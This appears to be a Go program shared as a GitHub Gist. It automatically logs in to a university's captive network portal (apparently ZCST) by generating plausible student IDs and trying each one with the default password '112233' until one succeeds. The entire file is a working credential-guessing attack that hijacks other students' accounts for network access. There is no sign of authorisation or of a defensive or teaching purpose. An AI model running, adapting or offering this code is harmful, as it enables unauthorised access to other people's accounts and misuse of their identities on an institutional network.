Created
September 26, 2025 10:17
-
-
Save nmnmcc/d3bc6aa6c8389aab2012cffb1f90d320 to your computer and use it in GitHub Desktop.
For ZCST Internal Use
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package main | |
| import ( | |
| "bytes" | |
| "encoding/json" | |
| "errors" | |
| "fmt" | |
| "io" | |
| "log/slog" | |
| "math/rand" | |
| "mime/multipart" | |
| "net/http" | |
| "net/url" | |
| "regexp" | |
| "time" | |
| "github.com/google/uuid" | |
| "github.com/miekg/dns" | |
| "github.com/samber/lo" | |
| ) | |
| const ( | |
| DefaultPassword = "112233" | |
| ) | |
| func NewLoginReq( | |
| base, | |
| userid, password string, | |
| ) (*http.Request, error) { | |
| url, err := url.Parse(base) | |
| if err != nil { | |
| return nil, err | |
| } | |
| url.Path = "/quickauth.do" | |
| query := url.Query() | |
| query.Set("userid", "756"+userid) | |
| query.Set("passwd", password) | |
| query.Set("timestamp", fmt.Sprint(time.Now().Unix())) | |
| query.Set("uuid", uuid.NewString()) | |
| url.RawQuery = query.Encode() | |
| return http.NewRequest(http.MethodGet, url.String(), io.NopCloser(&bytes.Buffer{})) | |
| } | |
| type LoginRes struct { | |
| Code string `json:"code"` | |
| Message string `json:"message"` | |
| LogoutGoURL string `json:"logoutgourl"` | |
| MacChange bool `json:"macChange"` | |
| GroupID int `json:"groupId"` | |
| PasswdPolicyCheck bool `json:"passwdPolicyCheck"` | |
| DropLogCheck string `json:"dropLogCheck"` | |
| UserID string `json:"userId"` | |
| } | |
| func NewLogoutReq(base, userid string) (*http.Request, error) { | |
| url, err := url.Parse(base) | |
| if err != nil { | |
| return nil, err | |
| } | |
| url.Path = "quickauthdisconn.do" | |
| body := &bytes.Buffer{} | |
| writer := multipart.NewWriter(body) | |
| for key, values := range url.Query() { | |
| if key == "userid" { | |
| writer.WriteField("userid", userid+"@zk") | |
| continue | |
| } | |
| for _, value := range values { | |
| writer.WriteField(key, value) | |
| } | |
| } | |
| return http.NewRequest("POST", url.String(), io.NopCloser(body)) | |
| } | |
| func TestConnection() (ok bool) { | |
| client := &http.Client{ | |
| Timeout: 3 * time.Second, | |
| } | |
| res, err := client.Get("http://captive.apple.com/hotspot-detect.html") | |
| if err != nil { | |
| return false | |
| } | |
| if res.StatusCode != http.StatusOK { | |
| return false | |
| } | |
| return true | |
| } | |
| func LookupLoginHost() (string, error) { | |
| config, err := dns.ClientConfigFromFile("/etc/resolv.conf") | |
| if err != nil { | |
| return "", err | |
| } | |
| return config.Servers[0], nil | |
| // client := &dns.Client{ | |
| // Timeout: 3 * time.Second, | |
| // } | |
| // req := &dns.Msg{} | |
| // req.SetQuestion(dns.Fqdn("localhost"), dns.TypeA) | |
| // res, _, err := client.Exchange(req, config.Servers[0]+":53") | |
| // if err != nil { | |
| // return "", err | |
| // } | |
| // return res.Answer[0].(*dns.A).A.String(), nil | |
| } | |
| func FindPortal(host string) (string, error) { | |
| client := &http.Client{ | |
| Timeout: 3 * time.Second, | |
| } | |
| u, _ := url.Parse("http://" + host) | |
| res, err := client.Get(u.String()) | |
| if err != nil { | |
| return "", err | |
| } | |
| if res.Request.URL.String() == u.String() { | |
| return "", fmt.Errorf("expect redirection") | |
| } | |
| body := string(lo.Must(io.ReadAll(res.Body))) | |
| re := regexp.MustCompile(`window\.location\.href=\"(.*)"`) | |
| matches := re.FindStringSubmatch(body) | |
| if len(matches) < 2 { | |
| return "", fmt.Errorf("failed to find portal URL") | |
| } | |
| p, _ := url.Parse(matches[1]) | |
| return res.Request.URL.ResolveReference(p).String(), nil | |
| } | |
| // [04] Institute | |
| // [24] Year of Admission | |
| // [04] Class | |
| // [01] Number | |
| func RandomUserid() string { | |
| institute := rand.Intn(8) + 1 | |
| year := rand.Intn(3) + time.Now().Year()%100 - 3 | |
| class := rand.Intn(10) + 1 | |
| number := rand.Intn(30) + 1 | |
| return fmt.Sprintf("%02d%02d%02d%02d", institute, year, class, number) | |
| } | |
| func RandomLoginReq(base string) (*http.Request, error) { | |
| userid := RandomUserid() | |
| password := DefaultPassword | |
| return NewLoginReq(base, userid, password) | |
| } | |
| func TryLogin(base, userid, password string) error { | |
| client := http.Client{ | |
| Timeout: 5 * time.Second, | |
| } | |
| req, err := NewLoginReq(base, userid, DefaultPassword) | |
| if err != nil { | |
| return err | |
| } | |
| res, err := client.Do(req) | |
| if err != nil { | |
| return err | |
| } | |
| if res.StatusCode != http.StatusOK { | |
| return fmt.Errorf("login failed: %s", userid) | |
| } | |
| body := lo.Must(io.ReadAll(res.Body)) | |
| var data LoginRes | |
| if err := json.Unmarshal(body, &data); err != nil { | |
| return errors.Join(err, fmt.Errorf("%s", string(body))) | |
| } | |
| if data.Code != "0" { | |
| return errors.New(string(lo.Must(json.Marshal(data)))) | |
| } | |
| return nil | |
| } | |
| func Logout(base, userid string) error { | |
| client := &http.Client{} | |
| req, err := NewLogoutReq(base, userid) | |
| if err != nil { | |
| return err | |
| } | |
| if _, err := client.Do(req); err != nil { | |
| return err | |
| } | |
| return nil | |
| } | |
| func main() { | |
| if TestConnection() { | |
| return | |
| } | |
| host, err := LookupLoginHost() | |
| if err != nil { | |
| fmt.Printf("failed to lookup login host: %s\n", err) | |
| return | |
| } | |
| slog.Info("login host", "host", host) | |
| base, err := FindPortal(host) | |
| if err != nil { | |
| fmt.Printf("failed to find portal: %s\n", err) | |
| return | |
| } | |
| slog.Info("portal base", "base", base) | |
| for { | |
| tried := make(map[string]struct{}) | |
| var userid string | |
| for { | |
| userid = RandomUserid() | |
| if _, ok := tried[userid]; ok { | |
| continue | |
| } else { | |
| tried[userid] = struct{}{} | |
| } | |
| err := TryLogin(base, userid, DefaultPassword) | |
| if err != nil { | |
| fmt.Printf("login failed: %s %s\n", userid, err) | |
| continue | |
| } | |
| fmt.Printf("login succeeded: %s\n", userid) | |
| break | |
| } | |
| time.Sleep(15 * time.Second) | |
| if !TestConnection() { | |
| Logout(base, userid) | |
| continue | |
| } | |
| return | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment